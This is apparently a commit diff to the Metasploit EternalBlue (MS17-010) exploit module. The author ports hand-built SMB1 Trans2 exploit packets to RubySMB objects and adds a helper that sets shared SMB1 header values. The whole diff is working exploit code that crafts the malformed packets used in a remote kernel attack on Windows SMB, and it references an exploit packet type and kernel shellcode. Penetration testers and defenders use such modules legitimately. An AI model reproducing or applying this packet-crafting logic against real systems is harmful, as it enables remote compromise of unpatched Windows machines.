limited port of the trans2 exploit packets

ported some of the Trans2 packets for EternalBlue
over to RubySMB, but there is so much jacked up about these
packets I'm not sure we can do much more here

Author: David Maloney

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -417,42 +417,26 @@ def make_smb2_payload_body_packet(kernel_user_payload)
   # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
   def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
     timeout = (timeout * 0x10) + 3
+    timeout_value = "\x35\x00\xd0" + timeout.chr
 
-    pkt = ""
-    pkt << "\x00"                   # Session message
-    pkt << "\x00\x10\x35"           # length
-    pkt << "\xffSMB"                # SMB1
-    pkt << "\x33"                   # Trans2 request
-    pkt << "\x00\x00\x00\x00"       # NT SUCCESS
-    pkt << "\x18"                   # Flags
-    pkt << "\x07\xc0"               # Flags2
-    pkt << "\x00\x00"               # PID High
-    pkt << "\x00\x00\x00\x00"       # Signature1
-    pkt << "\x00\x00\x00\x00"       # Signature2
-    pkt << "\x00\x00"               # Reserved
-    pkt << [tree_id].pack("S>")       # TreeID
-    pkt << "\xff\xfe"               # PID
-    pkt << [user_id].pack("S>")       # UserID
-    pkt << "\x40\x00"               # MultiplexIDs
-
-    pkt << "\x09"                   # Word Count
-    pkt << "\x00\x00"               # Total Param Count
-    pkt << "\x00\x10"               # Total Data Count
-    pkt << "\x00\x00"               # Max Param Count
-    pkt << "\x00\x00"               # Max Data Count
-    pkt << "\x00"                   # Max Setup Count
-    pkt << "\x00"                   # Reserved
-    pkt << "\x00\x10"               # Flags
-    pkt << "\x35\x00\xd0"           # Timeouts
-    pkt << timeout.chr
-    pkt << "\x00\x00"               # Reserved
-    pkt << "\x00\x10"               # Parameter Count
-
-    #pkt << "\x74\x70"               # Parameter Offset
-    #pkt << "\x47\x46"               # Data Count
-    #pkt << "\x45\x6f"               # Data Offset
-    #pkt << "\x4c"                   # Setup Count
-    #pkt << "\x4f"                   # Reserved
+    packet = RubySMB::SMB1::Packet::Trans2::Request.new
+    packet = set_smb1_headers(packet,tree_id,user_id)
+
+    # The packets are labeled as Secondary Requests but are actually structured
+    # as normal Trans2 Requests for some reason. We shall similarly cheat here.
+    packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
+
+    packet.parameter_block.flags.read("\x00\x10")
+    packet.parameter_block.timeout.read(timeout_value)
+
+    packet.parameter_block.word_count       = 9
+    packet.parameter_block.total_data_count = 4096
+    packet.parameter_block.parameter_count  = 4096
+
+    nbss = "\x00\x00\x10\x35"
+    pkt  = packet.to_binary_s
+    pkt  = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
+    pkt  = nbss + pkt
 
     if type == :eb_trans2_exploit
       vprint_status("Making :eb_trans2_exploit packet")
@@ -519,11 +503,7 @@ def make_smb1_nt_trans_packet(tree_id, user_id)
     # our values here.
     packet.data_block.enable_padding = false
 
-    packet.smb_header.flags2.read("\x07\xc0")
-    packet.smb_header.tid       = tree_id
-    packet.smb_header.uid       = user_id
-    packet.smb_header.pid_low   = 65279
-    packet.smb_header.mid       = 64
+    packet = set_smb1_headers(packet,tree_id,user_id)
 
     packet.parameter_block.max_setup_count       = 1
     packet.parameter_block.total_parameter_count = 30
@@ -646,6 +626,19 @@ def make_kernel_shellcode
 
   end
 
+  # Sets common SMB1 Header values used by the various
+  # packets in the exploit.
+  #
+  # @rturn [RubySMB::GenericPacket] the modified version of the packet
+  def set_smb1_headers(packet,tree_id,user_id)
+    packet.smb_header.flags2.read("\x07\xc0")
+    packet.smb_header.tid       = tree_id
+    packet.smb_header.uid       = user_id
+    packet.smb_header.pid_low   = 65279
+    packet.smb_header.mid       = 64
+    packet
+  end
+
 
   # Returns the value to be passed to SMB clients for
   # the password. If the user hs not supplied a password